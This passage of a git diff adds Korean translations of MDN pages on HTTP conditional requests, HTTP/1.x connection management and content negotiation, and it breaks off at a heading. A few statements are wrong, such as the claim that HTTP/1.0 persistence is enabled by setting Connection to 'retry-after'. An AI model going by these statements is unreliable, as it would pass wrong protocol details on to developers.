있다고 가정할 때, 그 페이지는 강한 검사에서는 다르다고 판단할 수 있지만, 약한 검사 내에서는 기존의 페이지와 동일하다고 간주될 수 있습니다. 약한 검사를 만들어내는 etag 체계를 세우는 것은 페이지의 다른 요소들의 중요성 인지를 끌어들이는 순간부터 복잡해질 수 있으나, 그것은 캐싱 성능을 최적화하는데 매우 유용할 것입니다.</p> + +<h2 id="조건부_헤더">조건부 헤더</h2> + +<p>조건부 헤더라고 불리는, 몇몇 HTTP 헤더들은 조건부 요청을 이끌어 냅니다. 그들은 다음과 같습니다:</p> + +<dl> + <dt>{{HTTPHeader("If-Match")}}</dt> + <dd>원격지 리소스의 {{HTTPHeader("ETag")}}가 이 헤더에 나열된 것과 일치한다면 성공입니다. 기본적으로, etag에 <code>'W/'</code>가 접두사로 붙지 않았다면, 강한 검사가 실행될 것입니다.</dd> + <dt>{{HTTPHeader("If-None-Match")}}</dt> + <dd>원격지 리소스의 {{HTTPHeader("ETag")}}가 이 헤더에 나열된 것들과 일치하는 것이 없다면 성공입니다. 기본적으로, etag에 <code>'W/'</code>가 접두사로 붙지 않았다면, 강한 검사가 실행될 것입니다.</dd> + <dt>{{HTTPHeader("If-Modified-Since")}}</dt> + <dd>원격지의 리소스의 {{HTTPHeader("Last-Modified")}} 날짜가 이 헤더 내에 주어진 것보다 좀 더 최근인 경우 성공입니다.</dd> + <dt>{{HTTPHeader("If-Unmodified-Since")}}</dt> + <dd>원격지 리소스의 {{HTTPHeader("Last-Modified")}}가 이 헤더에 주어진 것보다 더 오래됐거나 같다면 성공입니다.</dd> + <dt>{{HTTPHeader("If-Range")}}</dt> + <dd>{{HTTPHeader("If-Match")}} 혹은 {{HTTPHeader("If-Unmodified-Since")}}와 유사하지만, 하나의 단일 etag 혹은 하나의 날짜만을 가질 수 있습니다. 만약 실패한다면, 범위 요청이 실패하고, {{HTTPStatus("206")}} <code>Partial Content</code> 응답 대신에, {{HTTPStatus("200")}} <code>OK</code>가 완전한 리소스와 함께 전송될 것입니다.</dd> +</dl> + +<h2 id="유스_케이스">유스 케이스</h2> + +<h3 id="캐시_갱신">캐시 갱신</h3> + +<p>조건부 요청의 가장 일반적인 유스 케이스는 캐시를 갱신하는 것입니다. 비어 있는 캐시를 가지고 있거나 혹은 캐시를 가지고 있지 않은 경우, 요청된 리소스는 {{HTTPStatus("200")}} <code>OK</code>의 상태로 회신됩니다.</p> + +<p><img alt="The request issued when the cache is empty triggers the resource to be downloaded, with both validator value sent as headers. The cache is then filled." src="https://mdn.mozillademos.org/files/13729/Cache1.png" style="height: 265px; width: 741px;"></p> + +<p>리소스와 함께, 검사기가 헤더 내에 전송됩니다. 예를 들어, {{HTTPHeader("Last-Modified")}}와 {{HTTPHeader("ETag")}}가 전송되지만, 그들 중 하나만 전송될 수도 있습니다. 이 검사기들은 (모든 헤더처럼) 해당 리소스와 함께 캐시되며 캐시가 더 이상 신선하지 않게 됐을 때 조건부 요청을 만들어 내는데 사용될 것입니다.</p> + +<p>캐시가 신선한 동안에는, 어떤 요청도 결코 발급되지 않습니다. 그러나 신선하지 않게 된다면, 대부분 {{HTTPHeader("Cache-Control")}} 헤더에 의해 제어되며, 클라이언트는 캐시된 값을 직접 사용하지 않으며 {{HTTPHeader("If-Modified-Since")}}와 {{HTTPHeader("If-Match")}} 헤더의 파라메터로써 사용되는 검사기 값을 이용해 <em>조건부 요청</em>을 전송하게 됩니다.</p> + +<p>리소스가 변경되지 않았다면, 서버는 {{HTTPStatus("304")}} <code>Not Modified</code> 응답을 회신하게 되는데, 이는 캐시를 다시 신선한 것으로 만들어주며 클라이언트는 그 캐시된 리소스를 사용하게 됩니다. 비록 어떤 리소스를 소비하는 응답/요청 라운드 트립이 있다고 하더라도, 연결을 통해 다시 전체 리소스를 전송하는 것보다는 더 효율적입니다.</p> + +<p><img alt="With a stale cache, the conditional request is sent. The server can determine if the resource changed, and, as in this case, decide not to send it again as it is the same." src="https://mdn.mozillademos.org/files/13731/HTTPCache2.png" style="height: 265px; width: 741px;"></p> + +<p>리소스가 변경되었다면, 요청이 조건부가 아니었고 클라이언트가 이 새로운 리소스를 사용하는(그리고 그것을 캐시하는) 경우처럼, 서버는 리소스의 새로운 버전과 함께, {{HTTPStatus("200")}}<code> OK</code> 응답을 회신합니다.</p> + +<p><img alt="In the case where the resource was changed, it is sent back as if the request wasn't conditional." src="https://mdn.mozillademos.org/files/13733/HTTPCache3.png"></p> + +<p>서버 측에서 검사기를 설정하는 것외에도, 이 메커니즘은 투명합니다: 모든 브라우저가 캐시를 관리하고 있으며 그런 조건부 요청을 웹 개발자가 해야할 특별한 조치없이 보내게 됩니다.</p> + +<h3 id="부분_다운로드의_통합">부분 다운로드의 통합</h3> + +<p>파일들의 부분적인 다운로드는 이전 동작을 계속하게 이어주는 HTTP의 기능으로, 이미 받아놓은 정보를 유지함으로써 대역폭과 시간을 절약해줍니다.</p> + +<p><img alt="A download has been stopped and only partial content has been retrieved." src="https://mdn.mozillademos.org/files/13735/HTTPResume1.png" style="height: 397px; width: 764px;"></p> + +<p>부분적인 다운로드를 지원하는 서버는 {{HTTPHeader("Accept-Ranges")}} 헤더를 보냄으로써 이를 알립니다. 그렇게 되면, 클라이언트는 아직 전송받지 못한 범위와 함께 {{HTTPHeader("Ranges")}}을 전송하여 다운로드를 이어나갈 수 있습니다.</p> + +<p><img alt="The client resumes the requests by indicating the range he needs and preconditions checking the validators of the partially obtained request." src="https://mdn.mozillademos.org/files/13737/HTTPResume2.png"></p> + +<p>이 원칙은 간단한데, 한 가지 잠재적인 문제점이 있습니다: 다운로드된 리소스가 두 개의 다운로드 사이에 수정될 경우, 수신받던 범위는 리소스의 두 개의 서로 다른 버전과 상응하게 될 것이며 최종적인 문서는 오염되게 될 것입니다.</p> + +<p>이것은 방지하기 위해, 조건부 요청이 사용됩니다. 범위에 대해, 이를 할 수 있는 두 가지 방법이 존재합니다. 좀 더 유연한 방법은 {{HTTPHeader("If-Modified-Since")}}과 {{HTTPHeader("If-Match")}}을 사용하는 것이며 서버는 전제 조건이 실패할 경우 오류를 반환하게 됩니다; 그러면 클라이언트는 다운로드를 처음부터 다시 시작하게 되는 것이죠.</p> + +<p><img alt="When the partially downloaded resource has been modified, the preconditions will fail and the resource will have to be downloaded again completely." src="https://mdn.mozillademos.org/files/13739/HTTPResume3.png"></p> + +<p>이 방법이 동작하긴 하지만, 문서가 변경된 경우 추가적인 응답/요청 교환을 필요로 합니다. 이것은 성능을 감소시키는데 HTTP는 이것을 피하기 위한 특별한 헤더를 가지고 있습니다: 바로 {{HTTPHeader("If-Range")}}이죠.</p> + +<p><img alt="The If-Range headers allows the server to directly send back the complete resource if it has been modified, no need to send a 412 error and wait for the client to re-initiate the download." src="https://mdn.mozillademos.org/files/13741/HTTPResume4.png" style="height: 263px; width: 770px;"></p> + +<p>이 해결책이 좀 더 효과적이긴 한데 약간은 덜 유연하여(오로지 하나의 etag만이 조건 내에서 사용될 수 있습니다), 추가적인 유연성이 필요한 경우가 아주 드물게 있기도 합니다.</p> + +<h3 id="최적화된_잠금으로_업데이트_손실_문제_피하기">최적화된 잠금으로 업데이트 손실 문제 피하기</h3> + +<p>웹 애플리케이션에서 일반적인 동작은 원격 문서를 <em>갱신</em>하는 것입니다. 이것은 어떤 파일 시스템 혹은 소스 제어 애플리케이션에서든 매우 흔한 일인데, 원격 리소스 저장을 허용하는 어떤 애플리케이션이든 그러한 메커니즘을 필요로 합니다. 유사하게, 위키나 다른 CMS와 같은 일반적인 웹 사이트들도 그런 요구사항을 지니고 있습니다.</p> + +<p>{{HTTPMethod("PUT")}} 메서드를 이용해 당신은 이러한 것을 구현할 수 있습니다. 먼저 클라이언트는 원본 파일을 읽어들인 후 그것을 수정하고 최종적으로 서버로 수정된 파일을 내보냅니다.</p> + +<p><img alt="Updating a file with a PUT is very simple when concurrency is not involved." src="https://mdn.mozillademos.org/files/13743/HTTPLock1.png"></p> + +<p>불행하게도, 계정의 동시실행 내로 들어가자마자 약간 예상치 못한 결과를 맞이하게 될 겁니다. 하나의 클라이언트가 리소스의 새로운 복사본을 지역적으로 수정하고 있는 동안에도, 두번째 클라이언트가 동일한 리소스를 내려받고 자신의 영역 내에서 동일한 작업을 할 수 있습니다. 그렇게 되면 매우 유감스러운 일이 발생하게 됩니다: 그들이 다시 커밋하게 됐을 때, 전송할 첫번째 클라이언트의 수정본은 다음의 전송에 의해 폐기되는데, 이는 두번째 클라이언트가 새로운 변경 사항을 알고 있지 못하기 때문입니다. 어떤 것이 받아들여질지에 대한 결정은 다른 쪽에게 알려지지 않겠지만, 어떤 클라이언트의 변경 사항이 유지될 지는 그들이 커밋하는 시점, 클라이언트 그리고 서버의 성능에 의해서도 달리지며, 클라이언트에서 문서를 수정하는 속도에 의해서도 달라지게 될 겁니다: 받아들여진 클라이언트의 변경 사항으로 모두 변경될 것입니다. 이것을 {{glossary("경쟁 상태")}}라고 하며 감지하고 디버깅하기 어려운 불확실한 동작을 유발합니다.</p> + +<p><img alt="When several clients update the same resource in parallel, we are facing a race condition: the slowest win, and the others don't even know they lost. Problematic!" src="https://mdn.mozillademos.org/files/13749/HTTPLock2.png" style="height: 504px; width: 904px;"></p> + +<p>두 클라이언트 중 하나를 불편하게 만들지 않고는 이를 해결할 수 있는 방법은 없습니다. 그러나 업데이트 손실과 경쟁 상태는 피하게 됩니다: 우리는 예측 가능한 결과와 클라이언트의 변경 사항이 거절된 경우 클라이언트가 그것을 알 수 있길 원합니다.</p> + +<p>조건부 요청은 (대부분의 위키 혹은 소스 제어 시스템에 의해 사용되는) <em>최적화 잠금 알고리즘</em>을 구현할 수 있도록 합니다. 이런 아이디어는 모든 클라이언트들이 리소스의 복사본들을 갖고 로컬에서 그것을 수정하며 첫번째 클라이언트가 그 수정된 내용을 성공적으로 제출하고 나서 이제는 이전 버전이 된 리소스가 거절되도록 하여 모든 업데이트가 순차적으로 이루어질 수 있도록 하여 동시성을 제어할 수 있도록 해줍니다.</p> + +<p><img alt="Conditional requests allow to implement optimistic locking: now the quickest wins, and the others get an error." src="https://mdn.mozillademos.org/files/13751/HTTPLock3.png" style="height: 471px; width: 904px;"></p> + +<p>이것은 {{HTTPHeader("If-Match")}} 혹은 {{HTTPHeader("If-Unmodified-Since")}} 헤더를 사용해 구현하게 됩니다. etag가 원본 파일과 일치하지 않거나 혹은 파일을 수신한 이후에 파일이 수정된 경우, 해당 변경 사항은 단순히 {{HTTPStatus("412")}} <code>Precondition Failed</code> 오류와 함께 거절될 것입니다. 그런 뒤에 오류를 다루는 것은 클라이언트에게 달려있므며, 현재 가장 최신의 버전으로부터 다시 시작하도록 사람에게 알려주는 방법 혹은 "diff"를 보여주고 변경된 내용을 유지하도록 선택할 수 있게 사람에게 도움을 주는 방법 등을 이용하도록 할 수 있습니다. </p> + +<h3 id="리소스의_첫번째_업로드_다루기">리소스의 첫번째 업로드 다루기</h3> + +<p>리소스의 첫번째 업로드는 이전 예제의 엣지 케이스입니다: 리소스 업데이트의 어떤 경우든지, 두 클라이언트가 업데이트를 동시에(혹은 거의 같은 시점에) 실행하려고 하는 경우는 경쟁 상태의 대상입니다. 이를 방지하기 위해, 조건부 요청을 사용할 수 있습니다: 어떤 etag든지 나타내는 <code>'*'</code>라고 하는 특별한 값을 {{HTTPHeader("If-None-Match")}}에 추가하여, 리소스가 이전에 존재하지 않은 경우에만 요청이 성공하게 할 수 있습니다.</p> + +<p><img alt="Like for a regular upload, the first upload of a resource is subject to a race condition: If-None-Match can prevent it." src="https://mdn.mozillademos.org/files/13753/HTTPFirst.png" style="height: 311px; width: 895px;"></p> + +<p><code>If-None-Match</code> 는 HTTP/1.1 호환 (혹은 그 이상의) 서버에서만 동작할 겁니다. 서버가 호환되는지 아닌지를 모르는 경우라면, 이를 확인하기 위해 리소스에 {{HTTPMethod("HEAD")}} 요청을 해보는 것이 우선적으로 필요합니다.</p> + +<h2 id="결론">결론</h2> + +<p>조건부 요청은 HTTP의 주요 특징이며 효율적이고 복잡한 애플리케이션을 만드는데 도움을 줍니다. 캐싱 혹은 다운로드 이어하기를 위해, 웹 마스터에게 요청해야 할 유일한 일은 서버를 정확하게 구성하도록 하는 것(어떤 환경 내에서 정확한 etag를 설정하는 것은 애매모호할 수 있습니다)이며, 웹 개발자는 브라우저가 올바른 조건부 요청을 서버하게 되므로 해야할 것이 아무것도 없습니다.</p> + +<p>잠금 메커니즘에 대해서는, 반대로, 웹 개발자가 알맞은 헤더로 요청을 전송하도록 하는 일이 필요하며, 웹 마스터는 대부분의 경우 그것들을 검사하도록 하는 신뢰할 수 있는 애플리케이션을 만들어야 합니다.</p> + +<p>두 경우 모두에 있어, 조건부 요청은 웹의 필수적인 기능입니다.</p> diff --git a/files/ko/web/http/connection_management_in_http_1.x/index.html b/files/ko/web/http/connection_management_in_http_1.x/index.html new file mode 100644 index 0000000000..79f82d4e76 --- /dev/null +++ b/files/ko/web/http/connection_management_in_http_1.x/index.html @@ -0,0 +1,86 @@ +--- +title: HTTP/1.x의 커넥션 관리 +slug: Web/HTTP/Connection_management_in_HTTP_1.x +translation_of: Web/HTTP/Connection_management_in_HTTP_1.x +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary">커넥션 관리는 HTTP의 주요 주제입니다: 대규모로 커넥션을 열고 유지하는 것은 웹 사이트 혹은 웹 애플리케이션의 성능에 많은 영향을 줍니다. HTTP/1.x에는 몇 가지 모델이 존재합니다: 단기 커넥션, 영속적인 커넥션, 그리고 <em>HTTP 파이프라이닝. </em></p> + +<p>HTTP는 클라이언트와 서버 사이의 커넥션을 제공하는 TCP를 전송프로토콜로 주로 이용합니다. 초기에는, HTTP는 이런 커넥션들을 다루기 위해 단일 모델을 제공했습니다. 요청이 보내져야 할 때마다 커넥션들은 매번 새롭게 생성되었고 응답이 도착한 이후에 연결을 닫는 형태로 단기로만 유지되었습니다.</p> + +<p>각각의 TCP 연결을 여는 것은 자원을 소비하기 때문에 이러한 단순한 모델은 선천적으로 성능상의 제약을 발생시킵니다. 몇몇 메시지들은 클라이언트와 서버 사이에서 교환되어야만 하며, 네트워크의 지연과 대역폭은 요청이 전송되어야 할 때마다 성능에 영향을 줍니다. 현대의 웹 페이지들은 필요로 하는 정보를 제공하기 위해 많은 요청(12개 혹은 그 이상)을 필요로 하므로, 이런 초창기 모델이 비효율적인 것은 자명합니다.</p> + +<p>HTTP/1.1에서 두 가지 모델이 추가되었습니다. 영속적인 커넥션 모델은 연속적인 요청 사이에 커넥션을 유지하여 새 커넥션을 여는데 필요한 시간을 줄입니다. HTTP 파이프라이닝은 한 단계 더 나아가, 응답조차도 기다리지 않고 연속적인 요청을 보내서 네트워크 지연을 더욱 줄입니다.</p> + +<p><img alt="Compares the performance of the three HTTP/1.x connection models: short-lived connections, persistent connections, and HTTP pipelining." src="https://mdn.mozillademos.org/files/13727/HTTP1_x_Connections.png" style="height: 538px; width: 813px;"></p> + +<div class="note"> +<p>HTTP/2는 커넥션 관리의 몇가지 모델을 더 추가합니다.</p> +</div> + +<p>명심해야 할 중요한 점은 HTTP 내 커넥션 관리가 <a href="/en-US/docs/Web/HTTP/Headers#e2e">end-to-end</a>가 아닌 <a href="/en-US/docs/Web/HTTP/Headers#hbh">hop-by-hop</a>인 두 개의 연속된 노드 사이의 커넥션에 적용된다는 것입니다. 클라이언트와 첫 번째 프록시 사이의 커넥션 모델은 프록시와 최종 목적 서버(혹은 중간 프록시들) 간의 것과는 다를 수도 있습니다. {{HTTPHeader("Connection")}}와 {{HTTPHeader("Keep-Alive")}}와 같이 커넥션 모델을 정의하는 데 관여하는 HTTP 헤더들은 <a href="/en-US/docs/Web/HTTP/Headers#hbh">hop-by-hop</a> 헤더이며, 중간 노드에 의해 그 값들이 변경될 수 있습니다.</p> + +<p>HTTP/1.1 커넥션이 TLS/1.0이나 WebSocket, 혹은 평문 HTTP/2와 같은 다른 프로토콜로 업그레이드 되었다는 점에서 관련된 주제는 HTTP 커넥션 업그레이드의 개념입니다. 이 프로토콜 업그레이드 메커니즘은 다른 곳에서 더 자세히 설명되어 있습니다. </p> + +<h2 id="단기_커넥션">단기 커넥션</h2> + +<p>HTTP 본래의 모델이자 HTTP/1.0의 기본 커넥션은 <em>단기 커넥션</em>입니다. 각각의 HTTP 요청은 각각의 커넥션 상에서 실행됩니다. 이는 TCP 핸드 셰이크는 각 HTTP 요청 전에 발생하고, 이들이 직렬화됨을 의미합니다.</p> + +<p>TCP 핸드셰이크는 그 자체로 시간을 소모하기는 하지만 TCP 커넥션은 지속적으로 연결되었을 때 부하에 맞춰 더욱 예열되어 더욱 효율적으로 작동합니다. 단기 커넥션들은 TCP의 이러한 효율적인 특성을 사용하지 않게 하며 예열되지 않은 새로운 연결을 통해 지속적으로 전송함으로써 성능이 최적 상태보다 저하됩니다.</p> + +<p>이 모델은 HTTP/1.0에서 사용된 기본 모델입니다({{HTTPHeader("Connection")}} 헤더가 존재하지 않거나, 그것의 값이 <code>close</code>로 설정된 경우). HTTP/1.1에서는, 이 모델은 {{HTTPHeader("Connection")}} 헤더가 <code>close</code> 값으로 설정되어 전송된 경우에만 사용됩니다.</p> + +<div class="note"> +<p>영속적인 커넥션을 지원하지 않는 매우 낡은 시스템을 다루는 것이 아니라면, 이 모델을 사용하려고 애쓸 필요가 없습니다.</p> +</div> + +<h2 id="영속적인_커넥션">영속적인 커넥션</h2> + +<p>단기 커넥션은 두 가지 결점을 지니고 있습니다: 새로운 연결을 맺는데 드는 시간이 상당하다는 것과, TCP기반 커넥션의 성능은 오직 커넥션이 예열된 상태일 때만 나아진다는 것입니다. 이런 문제를 완화시키기 위해, HTTP/1.1보다도 앞서 영<em>속적인 커넥션</em>의 컨셉이 만들어졌습니다. 이는 <em>keep-alive 커넥션</em>이라고 불리기도 합니다.</p> + +<p>영속적인 커넥션은 얼마간 연결을 열어놓고 여러 요청에 재사용함으로써, 새로운 TCP 핸드셰이크를 하는 비용을 아끼고, TCP의 성능 향상 기능을 활용할 수 있습니다. 커넥션은 영원히 열려있는지 않으며, 유휴 커넥션들은 얼마 후에 닫힙니다(서버는 {{HTTPHeader("Keep-Alive")}} 헤더를 사용해서 연결이 최소한 얼마나 열려있어야 할지를 설정할 수 있습니다).</p> + +<p>물론 영속적인 커넥션도 단점을 가지고 있습니다. 유휴 상태일때에도 서버 리소스를 소비하며, 과부하 상태에서는 {{glossary("DoS attack", "DoS attacks")}}을 당할 수 있습니다. 이런 경우에는 커넥션이 유휴 상태가 되자마자 닫히는 비영속적 커넥션(non-persistent connections)을 사용하는 것이 더 나은 성능을 보일 수 있습니다.</p> + +<p>HTTP/1.0 커넥션은 기본적으로 영속적이지 않습니다. {{HTTPHeader("Connection")}}를 <code>close</code>가 아닌 다른 것으로, 일반적으로 <code>retry-after</code>로 설정하면 영속적으로 동작하게 될 겁니다.</p> + +<p>반면, HTTP/1.1에서는 기본적으로 영속적이며 헤더도 필요하지 않습니다(그러나 HTTP/1.0으로 동작하는 경우(fallback)에 대비해서 종종 추가하기도 합니다.).</p> + +<h2 id="HTTP_파이프라이닝">HTTP 파이프라이닝</h2> + +<div class="note"> +<p>HTTP 파이프라이닝은 모던 브라우저에서 기본적으로 활성화되어있지 않습니다:</p> + +<ul> + <li>버그가 있는 <a href="https://en.wikipedia.org/wiki/Proxy_server">프록시</a>들이 여전히 많은데, 이들은 웹 개발자들이 쉽게 예상하거나 분석하기 힘든 이상하고 오류가 있는 동작을 야기합니다.</li> + <li>파이프라이닝은 정확히 구현해내기 복잡합니다: 전송 중인 리소스의 크기, 사용될 효과적인 <a href="https://en.wikipedia.org/wiki/Round-trip_delay_time">RTT</a>, 그리고 효과적인 대역폭은 파이프라인이 제공하는 성능 향상에 직접적으로 영향을 미칩니다. 이런 내용을 모른다면, 중요한 메시지가 덜 중요한 메시지에 밀려 지연될 수 있습니다. 중요성에 대한 생각은 페이지 레이아웃 중에도 진전됩니다. 그러므로 파이프라이닝은 대부분의 경우 미미한 수준의 향상만을 가져다 줍니다.</li> + <li>파이프라이닝은 <a href="https://en.wikipedia.org/wiki/Head-of-line_blocking">HOL</a> 문제에 영향을 받습니다.</li> +</ul> + +<p>이런 이유들로, 파이프라이닝은 더 나은 알고리즘인 멀티플렉싱으로 대체되었는데, 이는 HTTP/2에서 사용됩니다.</p> +</div> + +<p>기본적으로, <a href="/en/HTTP" title="en/HTTP">HTTP</a> 요청은 순차적입니다. 현재의 요청에 대한 응답을 받고 나서야 다음 요청을 실시합니다. 네트워크 지연과 대역폭 제한에 걸려 다음 요청을 보내는 데까지 상당한 딜레이가 발생할 수 있습니다.</p> + +<p>파이프라이닝이란 같은 영속적인 커넥션을 통해서, 응답을 기다리지 않고 요청을 연속적으로 보내는 기능입니다. 이것은 커넥션의 지연를 회피하고자 하는 방법입니다. 이론적으로는, 두 개의 HTTP 요청을 하나의 TCP 메시지 안에 채워서(be packed) 성능을 더 향상시킬 수 있습니다. HTTP 요청의 사이즈는 지속적으로 커져왔지만, 일반적인 <a href="https://en.wikipedia.org/wiki/Maximum_segment_size">MSS</a>(최대 세그먼트 크기)는 몇 개의 간단한 요청을 포함하기에는 충분히 여유있습니다.</p> + +<p>모든 종류의 HTTP 요청이 파이프라인으로 처리될 수 있는 것은 아닙니다: {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}} 그리고 {{HTTPMethod("DELETE")}} 메서드같은 {{glossary("idempotent")}} 메서드만 가능합니다. 실패가 발생한 경우에는 단순히 파이프라인 컨텐츠를 다시 반복하면 됩니다.</p> + +<p>오늘날, 모든 HTTP/1.1 호환 프록시와 서버들은 파이프라이닝을 지원해야 하지만, 실제로는 많은 프록시와 서버들은 제한을 가지고 있습니다. 모던 브라우저가 이 기능을 기본적으로 활성화하지 않는 이유입니다.</p> + +<h2 id="도메인_샤딩">도메인 샤딩</h2> + +<div class="note"> +<p>매우 명확하고 당면해있는 요구사항이 아니라면, 이 제외된(deprecated) 기술을 사용하지 마십시오. 대신 HTTP/2로 전환하시기 바랍니다. HTTP/2에서 도메인 샤딩은 더 이상 유용하지 않습니다. HTTP/2 커넥션은 우선 순위가 없는 병렬 요청들을 매우 잘 다룹니다. 도메인 샤딩은 성능 측면에서도 좋지 못합니다. 대부분의 HTTP/2 구현체는 우발적으로 일어나는 도메인 샤딩을 되돌리기 위해 <a href="https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing/">커넥션 합치기(connection coalescing)</a>라고 불리는 기술을 사용합니다.</p> +</div> + +<p>요청 사이에 실제 정렬이 없음에도 HTTP/1.x 커넥션이 요청을 직렬화함으로써, 대여폭이 충분히 큰 경우가 아니고는 효율적이지 못합니다. 이런 단점을 피하기 위해, 브라우저들은 각 도메인에 대한 몇 개의 커넥션을 맺고 병렬로 요청을 보냅니다. 기본값은 한때 2개 혹은 3개였지만, 지금은 이것이 증가하여 일반적으로 병력 커넥션은 6개입니다. 만약 이것보다 많이 시도한다면 서버 측의 <a href="/en-US/docs/Glossary/DOS_attack">DoS</a> 보호 동작을 야기할 위험이 있습니다.</p> + +<p>서버가 더 빠른 웹 사이트나 애플리케이션 반응을 원한다면, 서버가 더 많은 커넥션을 열도록 강제할 수 있습니다. 예를 들어, <code>www.example.com</code> 라는 하나의 도메인에서 모든 리소스를 가져오는 대신, <code>www1.example.com</code>, <code>www2.example.com</code>, <code>www3.example.com</code>와 같이 몇 개의 도메인으로 분할할 수 있습니다. 이런 각각의 도메인들은 <em>동일한</em> 서버로 연결되고, 브라우저는 그런 각각의 도메인마다 6개의 커넥션을 맺을 것입니다(예제에서는 총 18개로 늘어납니다). 이러한 기법을 <em>도메인 샤딩</em>이라고 부릅니다.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13783/HTTPSharding.png" style="height: 727px; width: 463px;"></p> + +<h2 id="결론">결론</h2> + +<p>개선된 커넥션 관리는 HTTP 성능을 상당한 수준만큼 향상시킬 수 있습니다. 영속적인 커넥션을 사용하는 HTTP/1.1 혹은 HTTP/1.0는 - 적어도 그 커넥션이 유휴 상태가 될 때까지 - 최상의 성능을 이끌어냅니다. 그러나, 파이프라이닝의 실패로 더 나은 커넥션 관리 모델이 고안되었고, 이는 HTTP/2에 포함되었습니다.</p> diff --git a/files/ko/web/http/content_negotiation/index.html b/files/ko/web/http/content_negotiation/index.html new file mode 100644 index 0000000000..81b138ebc2 --- /dev/null +++ b/files/ko/web/http/content_negotiation/index.html @@ -0,0 +1,129 @@ +--- +title: Content negotiation +slug: Web/HTTP/Content_negotiation +translation_of: Web/HTTP/Content_negotiation +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary"><a href="/en-US/docs/Glossary/HTTP">HTTP</a>에서, <em>컨텐츠 협상</em>이란 동일한 URI에서 리소스의 서로 다른 버전을 서브하기 위해 사용되는 메커니즘으로, 사용자 에이전트가 사용자에게 제일 잘 맞는 것이 무엇인지(예를 들어, 문서의 언어, 이미지 포맷 혹은 컨텐츠 인코딩에 있어 어떤 것이 적절한지)를 명시할 수 있습니다.</p> + +<h2 id="컨텐츠_협상의_원칙">컨텐츠 협상의 원칙</h2> + +<p>우리는 특정 문서를 <em>리소스</em>라고 부릅니다. 클라이언트가 리소스를 내려받길 원할 경우, 그것의 URL을 사용하여 요청합니다. 서버는 리소스가 제공하는 여러 변형들 중 하나를 선택하기 위해 이런 URL을 사용하며 (각각의 변형을 <em>프레젠테이션</em>이라고 부릅니다) 클라이언트에게 해당 리소스의 특정 프레젠테이션을 반환합니다. 프레젠테이션들에 더해, 전체 리소스들은 특유의 URL을 가집니다. 리소스가 호출됐을 때 특정 프레젠테이션을 선택하는 방법은 <em>컨텐츠 협상</em>에 의해 결정되며 클라이언트와 서버 간의 협상에는 몇 가지 방식이 존재합니다.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13789/HTTPNego.png" style="height: 311px; width: 767px;"></p> + +<p>가장 잘 맞는 프레젠테이션의 결정은 다음 두 개의 메커니즘 중 하나를 통해 이루어집니다:</p> + +<ul> + <li>클라이언트가 보내는 특정 <a href="/en-US/docs/Web/HTTP/Headers">HTTP 헤더</a>를 이용하는 방법(서버 주도 협상 혹은 주도적인 협상)으로, 특정 종류의 리소스에 대한 표준 협상 방법입니다.</li> + <li>서버에 의해 전달되는 {{HTTPStatus("300")}} (다중 선택) 혹은 {{HTTPStatus("406")}} (허용되지 않음) <a href="/en-US/docs/Web/HTTP/Status">HTTP 응답 코드</a>를 이용하는 방법(<em>에이전트 주도 협상</em> 혹은 <em>리액티브 협상</em>)으로, 폴백 메커니즘으로써 사용됩니다.</li> +</ul> + +<p>수년 간, <em>투명한 컨텐츠 협상</em>과 <code>Alternates</code> 헤더와 같은 다른 컨텐츠 협상 제안들이 제안되어 왔습니다. 그런 제안들은 관심을 끄는데 실패했고 결국 버려졌습니다.</p> + +<h2 id="서버_주도_컨텐츠_협상">서버 주도 컨텐츠 협상</h2> + +<p>서버 주도 컨텐츠 협상 혹은 주도적인 협상에 있어서, 브라우저(혹은 사용자 에이전트라면 어떤 다른 종류든지)는 URL을 이용해 몇 개의 HTTP 헤더를 전송합니다. 이런 헤더들은 사용자의 우선적인 선택을 나타냅니다. 서버는 그것들을 힌트로써 사용하며 내부 알고리즘은 클라이언트로 서브하기 위한 최선의 컨텐츠를 선택하게 됩니다. 이 알고리즘은 서버 특유의 것이며 표준으로 정의된 것은 아닙니다. 예를 위해, <a class="external" href="http://httpd.apache.org/docs/2.2/en/content-negotiation.html#algorithm">Apache 2.2 협상 알고리즘</a>을 참고하시기 바랍니다.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13791/HTTPNegoServer.png" style="height: 380px; width: 767px;"></p> + +<p>HTTP/1.1 표준은 서버 주도 협상을 시작하는 표준 헤더 목록({{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}})을 정의하고 있습니다. 엄밀히 말하자면 {{HTTPHeader("User-Agent")}}이 리스트 내에 없긴 하지만, 해당 헤더는, 좋은 관례가 아니라고 판단될지라도, 때때로 요청된 리소스의 특정 프레젠테이션을 전송하는데 사용되기도 합니다. 서버는 실제로 컨텐츠 협상에 있어 어떤 헤더가 사용될 지 (더 엄밀히 말하자면 연관된 응답 헤더) 가리키기 위해 {{HTTPHeader("Vary")}} 헤더를 사용하므로 <a href="/en-US/docs/Web/HTTP/Caching">캐시</a>는 최적으로 동작하게 됩니다.</p> + +<p>이것과 더불어, <em>클라이언트 힌트</em>라고 부르는 헤더들을 이용 가능한 헤더 목록에 추가하려는 실험적인 제안도 존재합니다. 클라이언트 힌트는 사용자 에이전트가 실행 중인 기기의 종류가 무엇인지를 알려줍니다(예를 들어, 데스크톱 컴퓨터인지 모바일 기기인지)</p> + +<p>서버 주도 컨텐츠 협상이 리소스의 특정 프레젠테이션에 동의하기 위한 가장 일반적인 방법이긴 하지만, 몇 가지 결점을 가지고 있습니다:</p> + +<ul> + <li>서버는 브라우저에 대한 전체적인 지식을 가지고 있지 않습니다. 클라이언트 힌트 확장이 있더라도, 서버는 브라우저의 수용 능력에 대한 완벽한 정보를 가지고 있진 않습니다. 클라이언트가 선택하는 리액티브 컨텐츠 협상과는 다르게, 서버 선택은 항상 다소 임의적입니다.</li> + <li>클라이언트에 의한 정보는 상당히 장황하며(HTTP/2 헤더 압축은 이런 문제를 완화시킵니다) 사생활 침해에 대한 위협을 가지고 있습니다(HTTP 핑거프린팅).</li> + <li>주어진 리소스의 몇몇 프레젠테이션이 전송되므로, 샤드된 캐시들은 덜 효율적이며 서버 구현은 좀 더 복잡해집니다.</li> +</ul> + +<h3 id="Accept_헤더"><code>Accept</code> 